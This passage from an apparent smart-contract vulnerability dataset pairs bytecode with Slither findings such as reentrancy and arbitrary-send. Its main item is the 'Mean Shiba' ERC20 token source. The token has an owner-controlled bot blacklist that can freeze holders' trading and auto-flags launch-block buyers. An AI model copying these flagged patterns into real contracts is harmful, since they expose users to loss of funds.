20611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220adcc6c563f4292af9005cbfc41bce18647e09678e0a4aec82204784bd4514fa564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,964 |
0x5a6d3d15c7cc185460106101014095096dd15789
|
/**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
// SPDX-License-Identifier: Unlicensed
//Tg: https://t.me/meanshiba
//Website: https://meanshiba.com
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MEANSHIB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Mean Shiba";
string private constant _symbol = "$MEANSHIB";
uint private constant _decimals = 9;
uint256 private _teamFee = 11;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[to]);
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 11);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a1578063e6ec64ec146104e7578063f2fde38b14610507578063fc588c041461052757600080fd5b8063a9059cbb14610441578063b515566a14610461578063cf0848f71461048157600080fd5b806370a0823114610372578063715018a6146103925780637c938bb4146103a75780638da5cb5b146103c757806390d49b9d146103ef57806395d89b411461040f57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102cb578063437823ec14610304578063476343ee146103245780635342acb41461033957600080fd5b8063313ce5671461027757806331c2d8471461028b5780633a0f23b3146102ab57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ed57806318160ddd1461021d57806323b872dd14610242578063293230b81461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610547565b005b3480156101b457600080fd5b5060408051808201909152600a8152694d65616e20536869626160b01b60208201525b6040516101e49190611983565b60405180910390f35b3480156101f957600080fd5b5061020d6102083660046119fd565b610593565b60405190151581526020016101e4565b34801561022957600080fd5b50670de0b6b3a76400005b6040519081526020016101e4565b34801561024e57600080fd5b5061020d61025d366004611a29565b6105aa565b34801561026e57600080fd5b506101a6610613565b34801561028357600080fd5b506009610234565b34801561029757600080fd5b506101a66102a6366004611a80565b610679565b3480156102b757600080fd5b506101a66102c6366004611b45565b61070f565b3480156102d757600080fd5b5061020d6102e6366004611b67565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561031057600080fd5b506101a661031f366004611b67565b61074c565b34801561033057600080fd5b506101a661079a565b34801561034557600080fd5b5061020d610354366004611b67565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037e57600080fd5b5061023461038d366004611b67565b6107d4565b34801561039e57600080fd5b506101a66107f6565b3480156103b357600080fd5b506101a66103c2366004611b67565b61082c565b3480156103d357600080fd5b506000546040516001600160a01b0390911681526020016101e4565b3480156103fb57600080fd5b506101a661040a366004611b67565b610a87565b34801561041b57600080fd5b506040805180820190915260098152681226a2a0a729a424a160b91b60208201526101d7565b34801561044d57600080fd5b5061020d61045c3660046119fd565b610b01565b34801561046d57600080fd5b506101a661047c366004611a80565b610b0e565b34801561048d57600080fd5b506101a661049c366004611b67565b610c27565b3480156104ad57600080fd5b506102346104bc366004611b84565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f357600080fd5b506101a6610502366004611bbd565b610c72565b34801561051357600080fd5b506101a6610522366004611b67565b610cae565b34801561053357600080fd5b506101a6610542366004611bbd565b610d46565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161057190611bd6565b60405180910390fd5b6000610585306107d4565b905061059081610d82565b50565b60006105a0338484610efc565b5060015b92915050565b60006105b7848484611020565b610609843361060485604051806060016040528060288152602001611d51602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061146c565b610efc565b5060019392505050565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161057190611bd6565b600d54600160a01b900460ff1661065357600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a35760405162461bcd60e51b815260040161057190611bd6565b60005b815181101561070b576000600560008484815181106106c7576106c7611c0b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070381611c37565b9150506106a6565b5050565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161057190611bd6565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107765760405162461bcd60e51b815260040161057190611bd6565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561070b573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a4906114a6565b6000546001600160a01b031633146108205760405162461bcd60e51b815260040161057190611bd6565b61082a600061152a565b565b6000546001600160a01b031633146108565760405162461bcd60e51b815260040161057190611bd6565b600d54600160a01b900460ff16156108be5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610571565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610915573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109399190611c52565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611c52565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b9190611c52565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610ab15760405162461bcd60e51b815260040161057190611bd6565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006105a0338484611020565b6000546001600160a01b03163314610b385760405162461bcd60e51b815260040161057190611bd6565b60005b815181101561070b57600d5482516001600160a01b0390911690839083908110610b6757610b67611c0b565b60200260200101516001600160a01b031614158015610bb85750600c5482516001600160a01b0390911690839083908110610ba457610ba4611c0b565b60200260200101516001600160a01b031614155b15610c1557600160056000848481518110610bd557610bd5611c0b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1f81611c37565b915050610b3b565b6000546001600160a01b03163314610c515760405162461bcd60e51b815260040161057190611bd6565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c9c5760405162461bcd60e51b815260040161057190611bd6565b600b8110610ca957600080fd5b600855565b6000546001600160a01b03163314610cd85760405162461bcd60e51b815260040161057190611bd6565b6001600160a01b038116610d3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610571565b6105908161152a565b6000546001600160a01b03163314610d705760405162461bcd60e51b815260040161057190611bd6565b60028111610d7d57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dca57610dca611c0b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e479190611c52565b81600181518110610e5a57610e5a611c0b565b6001600160a01b039283166020918202929092010152600c54610e809130911684610efc565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb9908590600090869030904290600401611c6f565b600060405180830381600087803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610571565b6001600160a01b038216610fbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610571565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610571565b6001600160a01b0382166110e65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610571565b600081116111485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610571565b6001600160a01b03821660009081526005602052604090205460ff161561116e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156112165760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610571565b6001600160a01b03831660009081526004602052604081205460ff1615801561125857506001600160a01b03831660009081526004602052604090205460ff16155b801561126e5750600d54600160a81b900460ff16155b801561129e5750600d546001600160a01b038581169116148061129e5750600d546001600160a01b038481169116145b1561145a57600d54600160b81b900460ff166112fc5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610571565b50600d546001906001600160a01b03858116911614801561132b5750600c546001600160a01b03848116911614155b80156113395750600f5460ff165b1561138a576000611349846107d4565b9050611373606461136d600a54670de0b6b3a764000061157a90919063ffffffff16565b906115f9565b61137d848361163b565b111561138857600080fd5b505b600e544214156113b8576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113c3306107d4565b600d54909150600160b01b900460ff161580156113ee5750600d546001600160a01b03868116911614155b1561145857801561145857600d546114229060649061136d90600f9061141c906001600160a01b03166107d4565b9061157a565b81111561144f57600d5461144c9060649061136d90600f9061141c906001600160a01b03166107d4565b90505b61145881610d82565b505b6114668484848461169a565b50505050565b600081848411156114905760405162461bcd60e51b81526004016105719190611983565b50600061149d8486611ce0565b95945050505050565b600060065482111561150d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610571565b600061151761179d565b905061152383826115f9565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611589575060006105a4565b60006115958385611cf7565b9050826115a28583611d16565b146115235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610571565b600061152383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c0565b6000806116488385611d38565b9050838110156115235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610571565b80806116a8576116a86117ee565b6000806000806116b78761180a565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116e49085611851565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611713908461163b565b6001600160a01b03891660009081526001602052604090205561173581611893565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161177a91815260200190565b60405180910390a3505050508061179657611796600954600855565b5050505050565b60008060006117aa6118dd565b90925090506117b982826115f9565b9250505090565b600081836117e15760405162461bcd60e51b81526004016105719190611983565b50600061149d8486611d16565b6000600854116117fd57600080fd5b6008805460095560009055565b60008060008060008061181f8760085461191d565b91509150600061182d61179d565b905060008061183d8a858561194a565b909b909a5094985092965092945050505050565b600061152383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061146c565b600061189d61179d565b905060006118ab838361157a565b306000908152600160205260409020549091506118c8908261163b565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118f882826115f9565b82101561191457505060065492670de0b6b3a764000092509050565b90939092509050565b60008080611930606461136d878761157a565b9050600061193e8683611851565b96919550909350505050565b60008080611958868561157a565b90506000611966868661157a565b905060006119748383611851565b92989297509195505050505050565b600060208083528351808285015260005b818110156119b057858101830151858201604001528201611994565b818111156119c2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059057600080fd5b80356119f8816119d8565b919050565b60008060408385031215611a1057600080fd5b8235611a1b816119d8565b946020939093013593505050565b600080600060608486031215611a3e57600080fd5b8335611a49816119d8565b92506020840135611a59816119d8565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a9357600080fd5b823567ffffffffffffffff80821115611aab57600080fd5b818501915085601f830112611abf57600080fd5b813581811115611ad157611ad1611a6a565b8060051b604051601f19603f83011681018181108582111715611af657611af6611a6a565b604052918252848201925083810185019188831115611b1457600080fd5b938501935b82851015611b3957611b2a856119ed565b84529385019392850192611b19565b98975050505050505050565b600060208284031215611b5757600080fd5b8135801515811461152357600080fd5b600060208284031215611b7957600080fd5b8135611523816119d8565b60008060408385031215611b9757600080fd5b8235611ba2816119d8565b91506020830135611bb2816119d8565b809150509250929050565b600060208284031215611bcf57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c4b57611c4b611c21565b5060010190565b600060208284031215611c6457600080fd5b8151611523816119d8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbf5784516001600160a01b031683529383019391830191600101611c9a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cf257611cf2611c21565b500390565b6000816000190483118215151615611d1157611d11611c21565b500290565b600082611d3357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d4b57611d4b611c21565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd06bcc20f1f0911da37f0c4704e841d234daa8558d3dfd182f44a21736986d864736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,965 |
0x398cf3de1a0e209997ee354551cd83884d7964ef
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
